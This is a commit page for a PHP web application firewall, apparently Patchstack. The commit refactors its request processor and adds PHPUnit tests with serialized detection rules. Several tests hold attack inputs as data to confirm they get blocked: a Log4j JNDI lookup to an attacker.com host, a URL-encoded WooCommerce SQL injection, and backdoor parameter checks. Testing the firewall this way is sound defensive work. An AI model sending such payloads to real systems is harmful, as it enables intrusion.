Skip to content

Commit 2f946c5

Browse files
committed
Added some comments. Some minor performance improvements. Added new firewall engine rules for tests. Added request tests. Added new firewall engine tests.
1 parent 275e0ed commit 2f946c5

7 files changed

Lines changed: 237 additions & 38 deletions

File tree

src/Extensions/Test/Extension.php

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@ public function getIpAddress()
6464
}
6565

6666
/**
67-
* Determine if the request should be passed without going through the firewall.
67+
* Determine if the request should not go through the firewall.
6868
*
6969
* @param array $whitelistRules
7070
* @param array $request

src/Processor.php

Lines changed: 43 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -101,44 +101,49 @@ public function __get($name)
101101

102102
/**
103103
* Launch the firewall. First we determine if the user is blocked and whitelisted, then go through
104-
* all of the firewall rules
104+
* all of the firewall rules.
105105
*
106-
* @return void
106+
* Will return true if $mustExit is false and all of the rules were processed without a positive detection.
107+
*
108+
* @param boolean $mustExit
109+
* @return boolean
107110
*/
108-
public function launch()
111+
public function launch($mustExit = true)
109112
{
110-
// Determine if we have any firewall rules loaded.
111-
if (count($this->firewallRules) == 0) {
112-
return;
113-
}
114-
115113
// Determine if the user is temporarily blocked from the site before we do anything else.
116114
if ($this->extension->isBlocked($this->autoblockMinutes, $this->autoblockTime, $this->autoblockAttempts) && !$this->extension->canBypass()) {
117115
$this->extension->forceExit(22);
118116
}
119117

120-
// Since the Opis/Closure package does not support PHP 8.1+,
121-
// we have to use Laravel's ported version for 8.1+.
122-
if (PHP_VERSION_ID < 80100) {
123-
require dirname(__FILE__) . '/../vendor/closure/vendor/autoload.php';
124-
} else {
125-
require dirname(__FILE__) . '/../vendor/serializable-closure/vendor/autoload.php';
126-
}
127-
128118
// Check for whitelist.
129119
$request = $this->request->capture();
130120
if ($this->extension->isWhitelisted($this->whitelistRules, $request)) {
131-
return;
121+
return true;
132122
}
133123

124+
// Grab the IP address of the request.
125+
$ip = $this->extension->getIpAddress();
126+
134127
// Run the legacy firewall rules processor for backwards compatibility.
135128
if (count($this->firewallRulesLegacy) > 0){
136-
$this->legacyProcessor();
129+
$this->launchLegacy(true, $request, $ip);
137130
}
138131

139-
$ip = $this->extension->getIpAddress();
132+
// Determine if we have any firewall rules loaded.
133+
if (count($this->firewallRules) == 0) {
134+
return true;
135+
}
136+
137+
// Since the Opis/Closure package does not support PHP 8.1+,
138+
// we have to use Laravel's ported version for 8.1+.
139+
if (PHP_VERSION_ID < 80100) {
140+
require dirname(__FILE__) . '/../vendor/closure/vendor/autoload.php';
141+
} else {
142+
require dirname(__FILE__) . '/../vendor/serializable-closure/vendor/autoload.php';
143+
}
144+
140145
SerializableClosure::setSecretKey('secret');
141-
146+
142147
foreach ($this->firewallRules as $rule) {
143148

144149
// Get the firewall rule and extract it.
@@ -169,28 +174,38 @@ public function launch()
169174
// Determine what action to perform.
170175
if ($rule->type == 'BLOCK') {
171176
$this->extension->logRequest($rule->id, $request, 'BLOCK');
172-
$this->extension->forceExit($rule->id);
177+
178+
// Do we have to exit the page or simply return false?
179+
if($mustExit){
180+
$this->extension->forceExit($rule->id);
181+
}else{
182+
return false;
183+
}
173184
} elseif ($rule->type == 'LOG') {
174185
$this->extension->logRequest($rule->id, $request, 'LOG');
175186
} elseif ($rule->type == 'REDIRECT') {
176187
$this->extension->logRequest($rule->id, $request, 'REDIRECT');
177-
$this->response->redirect($rule->type_params);
178-
exit;
188+
$this->response->redirect($rule->type_params, $mustExit);
179189
}
180190
}
191+
192+
return true;
181193
}
182194

183195
/**
184196
* The legacy firewall processor will only iterate over the general firewall rules.
185-
* Returns true if all rules were passed. False if any rule was hit.
197+
* Will return true if $mustExit is false and all of the rules were processed without a positive detection.
186198
*
199+
* @param boolean $mustExit
200+
* @param array $request
201+
* @param string $ip
187202
* @return boolean
188203
*/
189-
public function legacyProcessor($mustExit = true)
204+
public function launchLegacy($mustExit = true, $request = array(), $ip = '')
190205
{
191-
// Obtain the IP address and request data.
192-
$client_ip = $this->extension->getIpAddress();
193-
$requests = $this->request->capture();
206+
// Obtain the IP address and request data if it has not been supplied yet.
207+
$client_ip = $ip == '' ? $this->extension->getIpAddress() : $ip;
208+
$requests = count($request) == 0 ? $this->request->capture() : $request;
194209

195210
// Iterate through all root objects.
196211
foreach ($this->firewallRulesLegacy as $firewall_rule) {

src/Request.php

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -192,8 +192,13 @@ public function captureKeys()
192192
'GET' => $_GET,
193193
);
194194

195+
// No need to continue if the option does not exist.
196+
if(!isset($this->options['whitelistKeysRules'])){
197+
return $data;
198+
}
199+
195200
// Determine if there are any keys we should remove from the data set.
196-
if (count($this->options['whitelistKeysRules']) == 0 || !is_array($this->options['whitelistKeysRules'])) {
201+
if (!is_array($this->options['whitelistKeysRules']) || count($this->options['whitelistKeysRules']) == 0) {
197202
return $data;
198203
}
199204

tests/FirewallLegacyTest.php

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,7 @@ protected function setUp(): void
3434
private function setUpFirewallProcessor(array $rules)
3535
{
3636
$this->processor = new Processor(
37+
[],
3738
$rules,
3839
[],
3940
[],
@@ -65,7 +66,7 @@ private function alterPayload(array $payload = [])
6566
public function testAllRules()
6667
{
6768
$this->setUpFirewallProcessor($this->rules);
68-
$this->assertTrue($this->processor->legacyProcessor());
69+
$this->assertTrue($this->processor->launchLegacy());
6970
}
7071

7172
/**
@@ -88,7 +89,7 @@ public function testXSS()
8889
$this->alterPayload(['GET' => [
8990
'q' => $payload
9091
]]);
91-
$this->assertFalse($this->processor->legacyProcessor(false), 'Testing XSS failed with payload: ' . $payload);
92+
$this->assertFalse($this->processor->launchLegacy(false), 'Testing XSS failed with payload: ' . $payload);
9293
}
9394
}
9495

@@ -112,7 +113,7 @@ public function testSQLI()
112113
$this->alterPayload(['GET' => [
113114
'q' => $payload
114115
]]);
115-
$this->assertFalse($this->processor->legacyProcessor(false), 'Testing SQLI failed with payload: ' . $payload);
116+
$this->assertFalse($this->processor->launchLegacy(false), 'Testing SQLI failed with payload: ' . $payload);
116117
}
117118
}
118119

@@ -136,7 +137,7 @@ public function testLFI()
136137
$this->alterPayload(['GET' => [
137138
'q' => $payload
138139
]]);
139-
$this->assertFalse($this->processor->legacyProcessor(false), 'Testing LFI failed with payload: ' . $payload);
140+
$this->assertFalse($this->processor->launchLegacy(false), 'Testing LFI failed with payload: ' . $payload);
140141
}
141142
}
142143

@@ -153,12 +154,12 @@ public function testWordPressSpecific()
153154
$this->alterPayload(['GET' => [
154155
'action' => 'fs_retry_connectivity_test_'
155156
]]);
156-
$this->assertFalse($this->processor->legacyProcessor(false));
157+
$this->assertFalse($this->processor->launchLegacy(false));
157158

158159
// Block AccessPress backdoor through user-agent.
159160
$_SERVER['HTTP_USER_AGENT'] = 'wp_is_mobile';
160161
$this->alterPayload();
161-
$this->assertFalse($this->processor->legacyProcessor(false));
162+
$this->assertFalse($this->processor->launchLegacy(false));
162163
$_SERVER['HTTP_USER_AGENT'] = '';
163164

164165
// Block Apache Log4j vulnerability.
@@ -167,12 +168,12 @@ public function testWordPressSpecific()
167168
'q' => '${jndi:ldap://attacker.com/reference}'
168169
]
169170
]);
170-
$this->assertFalse($this->processor->legacyProcessor(false));
171+
$this->assertFalse($this->processor->launchLegacy(false));
171172

172173
// Block WooCommerce SQL injection.
173174
$this->alterPayload();
174175
$_SERVER['REQUEST_URI'] = '/wp-json/wc/store/products/collection-data?calculate_attribute_counts\[\]\[query_type\]=and&calculate_attribute_counts\[\]\[taxonomy\]=poc%252522%252529%252520OR%252520SLEEP%2525281%252529%252523';
175-
$this->assertFalse($this->processor->legacyProcessor(false));
176+
$this->assertFalse($this->processor->launchLegacy(false));
176177
$_SERVER['REQUEST_URI'] = '';
177178
}
178179
}

tests/FirewallTest.php

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
<?php declare(strict_types=1);
2+
use PHPUnit\Framework\TestCase;
3+
use Patchstack\Processor;
4+
use Patchstack\Extensions\Test\Extension;
5+
6+
final class FirewallTest extends TestCase
7+
{
8+
/**
9+
* @var Processor
10+
*/
11+
protected $processor;
12+
13+
/**
14+
* @var array
15+
*/
16+
protected $rules;
17+
18+
/**
19+
* Setup the test for testing the header location redirect.
20+
*
21+
* @return void
22+
*/
23+
protected function setUp(): void
24+
{
25+
$this->rules = json_decode(file_get_contents(dirname(__FILE__) . '/data/Rules.json'));
26+
}
27+
28+
/**
29+
* Setup the firewall processor.
30+
*
31+
* @param array $rules
32+
* @return void
33+
*/
34+
private function setUpFirewallProcessor(array $rules)
35+
{
36+
$this->processor = new Processor(
37+
$rules,
38+
[],
39+
[],
40+
[],
41+
new Extension
42+
);
43+
}
44+
45+
/**
46+
* Alters the payload between tests.
47+
* For most firewall rules there's no difference if testing against GET or POST.
48+
* Therefore, both can be used for testing payloads.
49+
*
50+
* @return void
51+
*/
52+
private function alterPayload(array $payload = [])
53+
{
54+
$_POST = [];
55+
$_GET = [];
56+
57+
$_POST = isset($payload['POST']) ? $payload['POST'] : [];
58+
$_GET = isset($payload['GET']) ? $payload['GET'] : [];
59+
}
60+
61+
/**
62+
* Test specific firewall rules.
63+
*
64+
* @return void
65+
*/
66+
public function testRules()
67+
{
68+
// Block request with test parameter present in the URL.
69+
$this->setUpFirewallProcessor([$this->rules[0]]);
70+
$this->alterPayload(['GET' => [
71+
'test' => 'yes'
72+
]]);
73+
$this->assertFalse($this->processor->launch(false));
74+
75+
// Block request with backdoor parameter in payload set to "mybackdoor" and user agent containing "some_backdoor_agent".
76+
$this->setUpFirewallProcessor([$this->rules[1]]);
77+
$this->alterPayload(['POST' => [
78+
'backdoor' => 'mybackdoor'
79+
]]);
80+
$_SERVER['HTTP_USER_AGENT'] = 'Chrome some_backdoor_agent Edge';
81+
$this->assertFalse($this->processor->launch(false));
82+
$_SERVER['HTTP_USER_AGENT'] = '';
83+
84+
// Block a base64 json encoded request in the payload parameter with the user_role parameter set to "administrator".
85+
$this->setUpFirewallProcessor([$this->rules[2]]);
86+
$payload = base64_encode(json_encode(['user_role' => 'administrator']));
87+
$this->alterPayload(['POST' => [
88+
'payload' => $payload
89+
]]);
90+
$this->assertFalse($this->processor->launch(false));
91+
}
92+
}

tests/RequestTest.php

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
<?php declare(strict_types=1);
2+
use PHPUnit\Framework\TestCase;
3+
use Patchstack\Request;
4+
5+
final class RequestTest extends TestCase
6+
{
7+
/**
8+
* @var Request
9+
*/
10+
private $request;
11+
12+
/**
13+
* Setup the test for testing the requesting variables.
14+
*
15+
* @return void
16+
*/
17+
public function setUp(): void
18+
{
19+
$_SERVER['HTTP_USER_AGENT'] = 'This is a user agent';
20+
$_SERVER['REQUEST_URI'] = '/somepage.php';
21+
$_SERVER['REQUEST_METHOD'] = 'GET';
22+
23+
$_GET['something'] = 'testing123';
24+
$_POST['else'] = 'foobar';
25+
26+
$request = new Request([]);
27+
$this->request = $request->capture();
28+
}
29+
30+
/**
31+
* Test different request variables.
32+
*/
33+
public function testRequestCaptureHeaders()
34+
{
35+
// Test for HTTP user agent.
36+
foreach($this->request['rulesHeadersCombinations'] as $header){
37+
if(stripos($header, 'User-Agent:') !== false){
38+
$this->assertTrue($header == 'User-Agent: This is a user agent');
39+
}
40+
}
41+
42+
// Test for the requesting URL.
43+
$this->assertTrue($this->request['rulesUri'] == '/somepage.php');
44+
45+
// Test for the requesting method.
46+
$this->assertTrue($this->request['method'] == 'GET');
47+
48+
// Test for URL query parameter.
49+
foreach($this->request['rulesParamsCombinations'] as $parameter){
50+
if(stripos($parameter, 'something=') !== false){
51+
$this->assertTrue($parameter == 'something=testing123');
52+
}
53+
}
54+
55+
// Test for POST payload parameter.
56+
foreach($this->request['rulesBodyCombinations'] as $parameter){
57+
if(stripos($parameter, 'something=') !== false){
58+
$this->assertTrue($parameter == 'else=foobar');
59+
}
60+
}
61+
}
62+
}

tests/data/Rules.json

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
[
2+
{
3+
"id":1,
4+
"title":"Block test parameter being present in the URL","rule":"QzozMjoiT3Bpc1xDbG9zdXJlXFNlcmlhbGl6YWJsZUNsb3N1cmUiOjI5OTp7QExNVWRYZWZmVTlHMzJPUk1EWGlxZGNNby9RaXdpVytnZFNRL1h6K1U3Z3M9LmE6NTp7czozOiJ1c2UiO2E6MTp7czoyOiJpcCI7czo0OiJ0ZXN0Ijt9czo4OiJmdW5jdGlvbiI7czoxMDk6ImZ1bmN0aW9uICgpIHVzZSAoJGlwKXsNCiAgICBpZiAoIWlzc2V0KCRfR0VUWyd0ZXN0J10pKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICByZXR1cm4gdHJ1ZTsNCn0iO3M6NToic2NvcGUiO047czo0OiJ0aGlzIjtOO3M6NDoic2VsZiI7czozMjoiMDAwMDAwMDAzMzdmMTY2ZjAwMDAwMDAwM2E3MDNkNjIiO319",
5+
"cat":"TEST",
6+
"type":"BLOCK",
7+
"type_params":null
8+
},
9+
{
10+
"id":2,
11+
"title":"Block backdoor parameter in payload set to mybackdoor and user agent containing some_backdoor_agent.","rule":"QzozMjoiT3Bpc1xDbG9zdXJlXFNlcmlhbGl6YWJsZUNsb3N1cmUiOjQ3Mzp7QDhaZi9mUkxHb1FrZUNYVytDaW9OdTN5UXhpVEhvaDFNQnJHbDIwUzhSUTA9LmE6NTp7czozOiJ1c2UiO2E6MTp7czoyOiJpcCI7czo0OiJ0ZXN0Ijt9czo4OiJmdW5jdGlvbiI7czoyODM6ImZ1bmN0aW9uICgpIHVzZSAoJGlwKXsNCiAgICAkdXNlcl9hZ2VudCA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnYmFja2Rvb3InXSkgJiYgJF9QT1NUWydiYWNrZG9vciddID09ICdteWJhY2tkb29yJyl7DQogICAgICAgIGlmKFxzdHJpcG9zKCR1c2VyX2FnZW50LCAnc29tZV9iYWNrZG9vcl9hZ2VudCcpICE9PSBmYWxzZSl7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiBmYWxzZTsNCn0iO3M6NToic2NvcGUiO047czo0OiJ0aGlzIjtOO3M6NDoic2VsZiI7czozMjoiMDAwMDAwMDAwMzQzZmM3MDAwMDAwMDAwMTE0NTk4YjciO319",
12+
"cat":"TEST",
13+
"type":"BLOCK",
14+
"type_params":null
15+
},
16+
{
17+
"id":3,
18+
"title":"Block a base64 json encoded request with the user_role parameter set to administrator",
19+
"rule":"QzozMjoiT3Bpc1xDbG9zdXJlXFNlcmlhbGl6YWJsZUNsb3N1cmUiOjQ0MDp7QElQZmkzenkwekxKZnpEUE10b3g3aloyNXlkQkczTStBWHFGcVVjaVBtejA9LmE6NTp7czozOiJ1c2UiO2E6MTp7czoyOiJpcCI7czo0OiJ0ZXN0Ijt9czo4OiJmdW5jdGlvbiI7czoyNTA6ImZ1bmN0aW9uICgpIHVzZSAoJGlwKXsNCiAgICBpZighaXNzZXQoJF9QT1NUWydwYXlsb2FkJ10pKXsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgICRwYXlsb2FkID0gXGpzb25fZGVjb2RlKFxiYXNlNjRfZGVjb2RlKCRfUE9TVFsncGF5bG9hZCddKSwgdHJ1ZSk7DQogICAgcmV0dXJuIGlzc2V0KCRwYXlsb2FkWyd1c2VyX3JvbGUnXSkgJiYgJHBheWxvYWRbJ3VzZXJfcm9sZSddID09ICdhZG1pbmlzdHJhdG9yJzsNCn0iO3M6NToic2NvcGUiO047czo0OiJ0aGlzIjtOO3M6NDoic2VsZiI7czozMjoiMDAwMDAwMDA2OGFlMzAwYjAwMDAwMDAwNWY0NDg5OTIiO319",
20+
"cat":"TEST",
21+
"type":"BLOCK",
22+
"type_params":null
23+
}
24+
]

0 commit comments

Comments
 (0)